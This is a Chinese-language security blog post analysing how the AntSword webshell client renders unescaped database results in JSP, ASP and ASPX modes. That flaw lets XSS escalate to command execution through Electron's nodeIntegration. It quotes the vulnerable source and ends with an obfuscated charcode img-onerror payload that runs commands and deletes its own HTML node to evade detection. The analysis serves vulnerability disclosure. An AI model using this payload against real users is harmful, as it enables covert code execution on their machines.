浅谈蚁剑RCE
前言
最近在做项目的过程中,利用蚁剑连接JSP的webshell连接数据库时,发现数据库html内容被解析了,开始以为这只是JSP webshell编写的不严谨导致的,后来发现蚁剑自身的过滤同样存在问题。
发现过程
在做项目过程中,利用JSP webshell连接数据库时,发现html内容被蚁剑解析了
首先想到的是蚁剑在取出数据库的值后,过滤没有做严格导致html标签被渲染。于是我在本地搭建了个PHP环境,在数据库中写入XSS payload:
"><img src=1 onerror=alert`1`>
奇怪的是,并未触发XSS,由此推测触发XSS是有条件的
深入分析
首先考虑编码原因,由于目标中某些表情等字符使用了非标准UTF-8编码,通过将被解析的html进行URL编码,解码后将原数据以16进制的方式写入到本地数据库中。
但结果也一样,同样没有解析。
这样看来和编码应该没太大的关系,或者说需要相同环境下才能触发;于是我本地搭建了个Tomcat+Mysql的环境,将mysql-connector-java-5.1.36-bin.jar放到WEB-INF下的lib目录中。同样的在数据库中放入了上述payload,这时发现弹窗了。
大家都知道JSP在蚁剑中使用的CUSTOM类型的连接方式,这就有必要看看蚁剑中是怎么实现的;首先看到index.js的updateResult函数:
updateResult(data) {
// 1.分割数组
const arr = data.split('\n');
// let arr = []; _arr.map((_) => { arr.push(antSword.noxss(_)); });
// console.log(_arr arr); 2.判断数据
if (arr.length < 2) {
return toastr.error(LANG['result']['error']['parse'] LANG_T['error']);
};
// 3.行头
let header_arr = antSword
.noxss(arr[0])
.replace(//g '')
.split('\t|\t');
if (header_arr.length === 1) {
return toastr.warning(LANG['result']['error']['noresult'] LANG_T['warning']);
};
if (header_arr[header_arr.length - 1] === '\r') {
header_arr.pop();
};
arr.shift();
// 4.数据
let data_arr = [];
arr.map((_) => {
let _data = _.split('\t|\t');
data_arr.push(_data);
});
data_arr.pop();
// 5.初始化表格
const grid = this
.manager
.result
.layout
.attachGrid();
grid.clearAll();
grid.setHeader(header_arr.join('').replace(/$/ ''));
grid.setColTypes("txt".repeat(header_arr.length).replace(/$/ ''));
grid.setColSorting(('str'.repeat(header_arr.length)).replace(/$/ ''));
grid.setColumnMinWidth(100 header_arr.length - 1);
grid.setInitWidths(("100".repeat(header_arr.length - 1)) + "*");
grid.setEditable(true);
grid.init();
// 添加数据
let grid_data = [];
for (let i = 0; i < data_arr.length; i++) {
grid_data.push({
id: i + 1
data: data_arr[i]
});
}
grid.parse({
'rows': grid_data
} 'json');
// 启用导出按钮
this.manager.result.toolbar[grid_data.length > 0 ?
'enableItem' :
'disableItem']('dump');
}
data从传入到最后写入表格没有经过任何转义,同样对比PHP下的updateResult函数,可以发现php中对data做了防XSS处理,其关键代码如下。
let text = Decodes.decode(buff encoding);
_data[i] = antSword.noxss(text false);
得出结论
通过分析CUSTOM模式下的代码可知,若用户使用蚁剑的自定义模式,若webshell未作任何过滤,蚁剑将直接将数据库的结果输出,造成XSS。
拓展思路
看起来似乎只有JSP连接webshell的时候会出现上述情况,那ASP和ASPX呢?当我们查看其代码时会发现,蚁剑同样未作任何过滤措施;在本地搭建IIS+ASP.NET配置ODBC driver如下:
蚁剑数据库连接采用ODBC连接方式,其配置信息如下:
同样使用上述的payload,发现成功弹窗,也就是说Aspx和Asp类型的shell连接时同样存在XSS。
构造RCE
要造成RCE也就很简单了,蚁剑使用Electron框架开发,并且开启了nodeIntegration,所以可以直接使用nodejs的库执行CMD,其执行CMD方式如下如下::
require('child_process').exec('calc.exe')
结合蚁剑的以下特点:
- 解析HTML时,不能使用单引号或双引号,否则会出现语法混乱
- HTML源码和流量中均有Payload,导致攻击方很容易被反制
在执行命令后需要删除当前HTML节点,并对流量进行加密。通过以下payload删除当前HTML节点。
使用JavaScript Obfuscator工具对payload进行混淆,并编码形成char code,最终payload如下:this.parentNode.parentNode.removeChild(this.parentNode);
连接数据库,查询指定表将弹出计算器:<img src=1 onerror="eval(String.fromCharCode(1189711432954812052521009961913910211411110967104971146711110010139443910112011211111411611539443910810111010310411639443910112010199394439991041051081009511211411199101115115394439116111831161141051101033993594010211711099116105111110409548120511024849565344954812052521009910250411231189711432954812051494998565561102117110991161051111104095481204957102102551004112311910410510810140454595481204957102102551004112395481205110248495653913911211711510439934095481205110248495653913911510410510211639934041415912512559954812051494998565540434395481205252100991025041591254095481205252100994448120495499414159118971143295481205149499861102117110991161051111104095481205110248495653449548120525210099102504112395481205110248495653619548120511024849565345481204859118971143295481205149499856556195481205252100999195481205110248495653935911410111611711411032954812051494998565559125591189711432101120101996111410111311710511410140954812051494998403948120483941419195481205149499840394812053394193591091111001171081019195481205149499840394812051394193611021171109911610511111032120404112311410111611711411032110101119328011411110910511510140102117110991161051111104095481205456575348574495481205252529853984112311897114329548120525552555150618311611410511010391954812051494998403948120503941934048120545144481205449444812054994448120545144481205010144481205453444812055564448120545341591011201019940954812052555255515044123391099712066117102102101114395848120524848424812055100481254410211711099116105111110409548120535498981005344954812052484957525144954812050505148515141123105102409548120535498981005341954812052525298539840954812053549898100534159101108115101329548120505051485151919548120514949984039481205239419362481204863954812052525298539840110101119326911411411111440954812050505148515191954812051494998403948120493941934041414158954812054565753485740415912541591254159125441091111001171081019195481205149499840394812051394193404159));this.parentNode.parentNode.removeChild(this.parentNode);" ="display:none;"/>
假象当我们通过webshell连接上目标的数据库,查询目标数据库时将发生上述情况:)
演示
